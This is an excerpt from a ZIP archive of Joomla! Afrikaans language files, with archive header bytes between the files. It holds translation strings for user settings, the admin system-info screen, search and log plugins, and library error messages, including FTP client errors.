              This is specially handy in a multilanguage setting." COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC="If set to Show, Users will be able to select their language, editor, and Help Site preferences on their details screen when logged-in to the frontend." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL="Mailbody Suffix" COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC="If 'New User Account Activation' is set to 'None' or 'Self', allows or not a notification mail to be sent to administrators." COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC="The default group that will be applied to New Users Registering via the frontend." COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC="If set to None, the user will be registered right away. If set to Self, the User will be emailed a link to activate their account before they can log in. If set to Admin, the user will be emailed a link to verify their email address, then an administrator will be notified to activate the user's account." COM_USERS_FIELD_REVIEW_TIME_DESC="Review time is a manually entered time you can use as fits in your workflow. Examples would be to put in a date that you want to review a user or the last date you reviewed the user" COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC="Laat gebruikers toe om hul Inlog-naam te verander wanneer hulle hul profiel bewerk." COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL="Verander Inlog Naam" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC="Die maksimum aantal wagwoord-herstellings wat oor 'n gegewe periode toegelaat word. Zero beteken dat daar geen beperking is nie." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL="Maksimum Herstel-aantal" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC="Die tyd-periode, in ure, vir die herstellings-teller." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL="Tyd in Ure" COM_USERS_USER_FIELD_LASTRESET_DESC="Datum en Tyd van laaste wagwoord herstelling" COM_USERS_USER_FIELD_LASTRESET_LABEL="Laaste Herstel Datum" COM_USERS_USER_FIELD_RESETCOUNT_DESC="Aantal worgwoord-herstellings sedert laaste herstel-datum." COM_USERS_USER_FIELD_RESETCOUNT_LABEL="Wagwoor Herstel Telling" COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC="Indien na Ja gestel is, sal die gebruiker se oorspronklike wagwoord aan hom gestuur word in die registrasie epos." COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL=Stuur Wagwoord" COM_USERS_USER_FIELD_NAME_LABEL="Naam" PK@y>\'language/af-ZA/af-ZA.plg_system_log.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_log.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LOG="Stelsel - Log" PLG_LOG_XML_DESCRIPTION="Verskaf Stelsel Staafing" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="Hierdie opsie staaf gebruiker name wanneer 'n bekragtiging faal" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Staaf gebruiker name" PK@y>\,_VV/language/af-ZA/af-ZA.plg_finder_content.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_content.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Slim Soek - Inhoud" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="Kon nie outomaties die "_QQ_"Slim Soektog - Inhoud"_QQ_" inprop-program aktiveer nie." PLG_FINDER_CONTENT_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Artikels." PK@y>\͸''"language/af-ZA/af-ZA.com_admin.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_admin.ini 1786 2012-07-16 12:22:03Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_ADMIN="Admin - Stelsel Info" COM_ADMIN_CLEAR_RESULTS="Vee uit resultate" COM_ADMIN_CONFIGURATION_FILE="Konfigurasie Lêer" COM_ADMIN_DATABASE_COLLATION="Databasis Insorteer Volgorde" COM_ADMIN_DATABASE_VERSION="Databasis Weergawe" COM_ADMIN_DIRECTORY_PERMISSIONS="Lêergids Toestemmings" COM_ADMIN_DISABLED_FUNCTIONS="Gesperde Funksies" COM_ADMIN_DISPLAY_ERRORS="Vertoon Foute" COM_ADMIN_FILE_UPLOADS="Lêer Oplaai" COM_ADMIN_GO="Gaan" COM_ADMIN_HELP="Joomla! Help" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Banier Bestuurder: Banier" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Banier Bestuurder: Banier - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Banier Bestuurder: Kategorië" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Banier Bestuurder: Kategorië - Nuwe/Redigeer" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Banier Bestuurder: Kliënte" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Banier Bestuurder: Kliënte - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Banier Bestuurder: Geskiedenis" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Kontakte Bestuurder: Kategorië" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Kontakte Bestuurder: Kategorië - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Kontakte Bestuurder: Kontakte" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Kontakte Bestuurder: Kontakte - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Artikel Bestuurder: Kategorië" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Artikel Bestuurder: Kategorië - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Private Boodskappe Inmandjie" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Private Boodskappe Lees" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Private Boodskappe Skryf" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Nuusafvoere Bestuurder: Kategorië" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="Nuusafvoere Bestuurder: Kategorië - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="Nuusafvoere Bestuurder: Afvoere" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Nuusafvoere Bestuurder: Afvoere - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Herlei (Redirect) Bestuurder: Skakels" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Herlei (Redirect) Bestuurder: Skakels - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_SEARCH="Soektog Bestuurder" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Webskakels Bestuurder: Kategorië" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Webskakels Bestuurder: Kategorië - Nuut/Redigeer" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Webskakels Bestuurder: Webskakels" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Webskakels Bestuurder: Webskakels - Nuut/Redigeer" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Artikel Bestuurder: Artikels" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Artikel Bestuurder: Artikels - Nuut/Redigeer" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Artikel Bestuurder: Glansartikels" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Media Bestuurder" COM_ADMIN_ICONV_AVAILABLE="Ikoon Beskikbaar" COM_ADMIN_JOOMLA_VERSION="Joomla! Weergawe" COM_ADMIN_LATEST_VERSION_CHECK="Laaste Weergawe Toets" COM_ADMIN_MAGIC_QUOTES="Towerkwotasie (Magic Quotes)" COM_ADMIN_MBSTRING_ENABLED="MBString Ontsper" COM_ADMIN_NA="n.v.t." COM_ADMIN_OPEN_BASEDIR="Open basisgids" COM_ADMIN_OUTPUT_BUFFERING="Uitset Buffering" COM_ADMIN_PHP_BUILT_ON="PHP gebou op" COM_ADMIN_PHP_VERSION="PHP Weergawe" COM_ADMIN_REGISTER_GLOBALS="Registreer Globale Instellings" COM_ADMIN_SAFE_MODE="Veilige Modus" COM_ADMIN_SEARCH="Soektog" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Menu Item Bestuurder" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menu Item Bestuurder - Nuut/Redigeer" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Menu Bestuurder" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Menu Bestuurder - Nuut/Redigeer" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Globale Konfigurasie" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Kas Bestuurder: Kas uitvee" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Kas Bestuurder: Skrap verstreke Kas" COM_ADMIN_HELP_START_HERE="Begin Hier" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="Gebruiker Bestuurder: Toegangsvlakke" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="Gebruiker Bestuurder: Toegangsvlakke - Nuut/Redigeer" COM_ADMIN_HELP_USERS_GROUPS="Gebruiker Bestuurder: Groepe" COM_ADMIN_HELP_USERS_GROUPS_EDIT="Gebruiker Bestuurder: Groepe - Nuut/Redigeer" COM_ADMIN_START_HERE="Begin hier" COM_ADMIN_SYSTEM_INFO="Stelsel Info" COM_ADMIN_UNWRITABLE="Onskryfbaar" COM_ADMIN_USER_ACCOUNT_DETAILS="My Profiel se Gegewens" COM_ADMIN_USER_AGENT="Gebruiker Agent" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Hulp werf vir hierdie gebruiker" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Hulp Werf" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Laaste besoek Datum" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Laaste besoek Datum" COM_ADMIN_USER_FIELD_NAME_DESC="Gee die naam van die gebruiker" COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Bevestig die gebruiker se wagwoord" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Bevestig Wagwoord" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Voer die wagwoord in vir die gebruiker" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="Registrasie Datum" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Registrasie Datum" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Tyd zone vir hierdie gebruiker" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Tyd Zone" COM_ADMIN_USER_FIELD_USERNAME_DESC="Voer die inteken naam (Gebruikernaam) in vir die gebruiker." COM_ADMIN_USER_FIELD_USERNAME_LABEL="Inteken Naam" COM_ADMIN_VIEW_PROFILE_TITLE="My Profiel" COM_ADMIN_WEB_SERVER="Webbediener" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="Webbediener na PHP Koppelvlak" COM_ADMIN_WRITABLE="Skyfbaar" COM_ADMIN_XML_DESCRIPTION="Administratiewe stelsel info komponent" COM_ADMIN_XML_ENABLED="XML Ontsper" COM_ADMIN_ZLIB_ENABLED="Zlib Ontsper" COM_ADMIN_USER_HEADING_NAME="Naam" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Ekstensie Bestuurder: Ontdek" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Ekstensie Bestuurder: Installeer" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Ekstensie Bestuurder: Bestuur" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Ekstensie Bestuurder: Opdateer" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Ekstensie Bestuurder: Warskuwings" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Taal Bestuurder: Inhoud Tale" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Taal Bestuurder - Nuut/Redigeer" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Taal Bestuurder: Geïnstalleerde Tale" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Module Bestuurder - Redigeer" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Module Bestuurder" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Inprop-Program Bestuurder: Inprop-Programme - Nuut/Redigeer" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Inprop-Program Bestuurder: Inprop-Programme" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Templet Bestuurder: Style - Redigeer" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Templet Bestuurder: Style" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Templet Bestuurder: Bron - Redigeer" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Templet Bestuurder: Templette - Redigeer" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Templet Bestuurder: Templette" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Globale Inteken" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Massapos Gebruikers" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="Gebruiker Bestuurder: Gebruikers - Nuut/Redigeer" COM_ADMIN_HELP_USERS_USER_MANAGER="Gebruiker Bestuurder: Gebruikers" COM_ADMIN_SESSION_AUTO_START="Sessie Outo-Begin (Autostart)" COM_ADMIN_SESSION_SAVE_PATH="Sessie Stoor Gidspad" COM_ADMIN_SHORT_OPEN_TAGS="Kort Oop Merke" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Kies die Taal vir die Administrateur (agterkantse) koppelvlak. Dit sal net hierdie Gebruiker affekteer." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Agterkant Taal" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Kies die templet style vir die Administrateur (agterkantse) koppelvlak. Dit sal net hierdie Gebruiker affekteer." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Agterkant Templet Styl" COM_ADMIN_USER_FIELD_EDITOR_DESC="Gebruiker Redigeerder" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Redigeerder" COM_ADMIN_USER_FIELD_EMAIL_DESC="Tik 'n e-pos adres vir die gebruiker" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Kies die Taal vir die voorkantse koppelvlak. Dit sal net hierdie Gebruiker affekteer." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Voorkant Taal" COM_ADMIN_VIEW="Besigtig" COM_ADMIN_PHP_SETTINGS="PHP Instellings" COM_ADMIN_RELEVANT_PHP_SETTINGS="Relefante PHP Instellings" COM_ADMIN_SETTING="Instelling" COM_ADMIN_STATUS="Status" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="Basiese Instellings" COM_ADMIN_VALUE="Waarde" COM_ADMIN_ALPHABETICAL_INDEX="Alfabetiese Index" COM_ADMIN_CACHE_DIRECTORY="(Kas Lêergids)" COM_ADMIN_DIRECTORY="Lêergids" COM_ADMIN_GLOSSARY="Woordelys" COM_ADMIN_HELP_GLOSSARY="Woordelys" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="Stelsel Informasie" COM_ADMIN_INFORMATION="Stelsel Informasie" COM_ADMIN_LICENSE="Lisensie" COM_ADMIN_LOG_DIRECTORY="(Staaf Lêergids)" COM_ADMIN_PHP_INFORMATION="PHP Informasie" COM_ADMIN_SYSTEM_INFORMATION="Stelsel Informasie" COM_ADMIN_TEMP_DIRECTORY="(Tydelike Lêergids)" COM_ADMIN_HELP_USERS_DEBUG_USER="Gebruiker Bestuurder: Ontfout Gebruiker-Toestemmings" COM_ADMIN_PLATFORM_VERSION="Joomla! Platvorm Versie" COM_ADMIN_ZIP_ENABLED="Oorspronklike ZIP Ontsper" COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC="As jy jou inteken-naam wil verander, tree asseblief in verbinding met die webwerf adminsitrateur." PK@y>\:A"language/af-ZA/af-ZA.mod_title.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_title.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_TITLE="mod_title" MOD_TITLE_XML_DESCRIPTION="Hierdie Module vertoon die Nutsbalk Komponent Titel" PK@y>\Mdn  4language/af-ZA/af-ZA.plg_system_languagecode.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_system_languagecode.sys.ini 1702 2012-01-30 08:13:33Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="Stelsel - Taalkode" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Bemoontlik dit om die taalkode te wysig in die genereerde HTML dokument om SEO te verbeter" PK@y>\ܧ-language/af-ZA/af-ZA.plg_search_newsfeeds.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_search_newsfeeds.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Soektog Limiet" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Ontsper deursoek van Nuusafvoere" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Nuusafvoere" PLG_SEARCH_NEWSFEEDS="Soek - Nuusafvoere" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Aantal soektog item om terug te besorg" PK@y>\ ##language/af-ZA/af-ZA.lib_joomla.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Joomla! Projek ; Let op: Alle ini lêërs moet as UTF-8 gestoor word ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php JERROR_PARSING_LANGUAGE_FILE=" : fout(e) in lyn(e) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Toegang verbode" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Kan nie die klas naam verkry of parseer nie." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Kan nie hierdie program laai nie: %s" JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Item Inteken het gefaal met die volgende fout: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Item is nie uitgeteken nie" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="Die gebruiker wat die item inteken is nie dieselfde ene wat die item uitgeteken het nie." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Item Uitteken het gefaal met die volgende fout: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="Die gebruiker wat die item uitteken is nie dieselfde ene wat die item ingeteken het nie." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Komponent nie gevind nie" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Fout met die laai van komponent: %1, %2" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName() : Kan nie die klas naam verkry of parseer nie." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Skepping van rekord nie toegelaat nie" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Skrap nie toegelaat nie" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Redigeering is nie toegelaat nie" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Redigeer nie toegelaat nie" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Redigeering van staat is nie toegelaat nie" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Ongeldige kontrolleerder: class: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Ongeldige kontrolleerder: naam='%s', formaat='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Uitleg %s nie gevind nie" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="Model klas %s nie in lêer gevind nie" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : Kan nie die klas naam verkry of parseer nie." JLIB_APPLICATION_ERROR_MODULE_LOAD="Fout met die laai van module %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Kon nie gidspad laai nie: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Herrangskikking het gefaal. Fout: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Kan nie roeteer-stelsel laai nie: %s" JLIB_APPLICATION_ERROR_SAVE_FAILED="Stoor het gefaal met die volging fout: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Stoor nie toegelaat nie" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Tabel %s nie ondersteun nie. Lêer nie gevind nie." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="Taak [%s] nie gevind nie" JLIB_APPLICATION_ERROR_UNHELD_ID="Jy is nie toegelaat om direk na hierdie bladsy te skakel nie (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="'View' klas nie gevind nie [klas, lêer]: %1, %2" JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Kan nie die klas naam verkry of parseer nie." JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : Jou klasnaam bevat die string 'view'. Dit veroorsaak probleme." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="Aansig (View) nie gevind nie [name, tipe, prefix]: %1, %2, %3" JLIB_APPLICATION_SAVE_SUCCESS="Item suksesvol gestoor." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="Item suksesvol bygedra." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="Rangskikking suksesvol gestoor." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="Rangskikking suksesvol gestoor." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Kon nie die kas hanteerder laai nie: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Kon nie Kas Stoor laai nie: %s" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Dit lyk asof die gebruiker stawing foutief is..." JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: Bad Wagwoord. Bediener antwoord: %1 [Verwag: 230]. Wagwoord gestuur: %2" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Slegte antwoord. Bediener antwoord: %s [Verwag: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Slegte antwoord. Bediener antwoord: %s [Verwag: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Bad Gebruikernaam. Bediener antwoord: %1 [Verwag: 331]. Gebruikernaam gestuur: %2" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Slegte antwoord. Bediener antwoord: %1 [Verwag: 250]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Slegte antwoord. Bediener antwoord: %1 [Verwag: 250]. Gidspad gestuur: %2. Modus gestuur: %3" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Slegte antwoord. Bediener antwoord: %1 [Verwag: 250]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: Kon nie plaaslike lêer oopmaak vir skryf nie. Plaaslike gidspad: %s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: Oordrag Gefaal. Bediener antwoord: %1 [Verwag: 226]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: Kon nie passiewe modus gebruik nie" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: Onbekende gids-lys formaat" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNaams: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Slegte antwoord" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Slegte antwoord. Bediener antwoord: %1 [Verwag: 150 of 125]. Gidspad gestuur: %2" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: Oordrag Gefaal. Bediener antwoord: %1 